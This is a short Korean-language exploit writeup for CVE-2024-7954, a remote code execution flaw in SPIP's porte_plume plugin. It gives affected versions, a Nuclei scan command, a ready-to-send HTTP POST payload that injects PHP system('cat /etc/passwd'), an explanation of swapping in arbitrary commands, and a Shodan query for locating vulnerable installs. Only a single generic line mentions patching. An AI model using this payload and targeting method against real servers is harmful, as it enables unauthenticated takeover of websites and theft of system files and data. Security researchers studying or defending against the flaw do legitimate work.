RCE-CVE-2024-7954

설명

porte_plume 플러그인은 4.30-alpha2, 4.2.13, 4.1.16 이전 버전의 SPIP에서 사용되며, 심각한 원격 코드 실행(RCE) 취약점에 영향을 받습니다. 이 결함을 통해 원격의 인증되지 않은 공격자는 특정 HTTP 요청을 조작하여 SPIP 사용자 권한으로 임의의 PHP 코드를 실행할 수 있습니다. 익스플로잇 가능성이 매우 높아, 공격자가 서버에서 악성 명령을 실행하여 무단 접근, 데이터 유출 또는 추가 시스템 손상을 초래할 수 있습니다.

취약점 세부 정보

• 영향받는 소프트웨어: SPIP (버전 4.30-alpha2, 4.2.13, 4.1.16 이전)
• 취약점 유형: 원격 코드 실행(RCE)
• 심각도 수준: 치명적
• 익스플로잇 가능성: 원격 및 인증되지 않은 공격자가 이 취약점을 악용할 수 있습니다.

익스플로잇

##Nuclei 스캔

kali@Dell:~/nuclei-templates-main/http/cves/2024$ nuclei -l targets -t /home/kali/nuclei-templates-main/http/cves/2024/CVE-2024-7954.yaml

이 취약점을 악용하는 데 사용할 수 있는 조작된 HTTP 요청의 예는 다음과 같습니다.

POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{Hostname}} -> IP
Content-Type: application/x-www-form-urlencoded

data=AA_[->URL<?php system('cat /etc/passwd'); ?>]_BB

익스플로잇 설명:

• POST 요청은 SPIP의 index.php 파일에 있는 porte_plume_previsu 액션으로 전송됩니다.
• data 매개변수에는 PHP의 system() 함수를 이용하여 명령(이 예시에서는 cat /etc/passwd)을 실행하는 페이로드가 포함되어 있으며, 이를 통해 비밀번호 파일의 내용을 읽습니다.
• system() 함수 내의 명령을 변경함으로써 공격자는 서버에서 임의의 PHP 코드를 실행할 수 있으며, 이는 심각한 결과를 초래할 수 있습니다.

Shodan 검색어

잠재적으로 취약한 SPIP 설치를 식별하려면 다음 Shodan 검색 쿼리를 사용할 수 있습니다.

app="SPIP"

이 취약점은 소프트웨어를 최신 상태로 유지하고 악용을 방지하기 위한 강력한 보안 조치를 구현하는 것의 중요성을 강조합니다.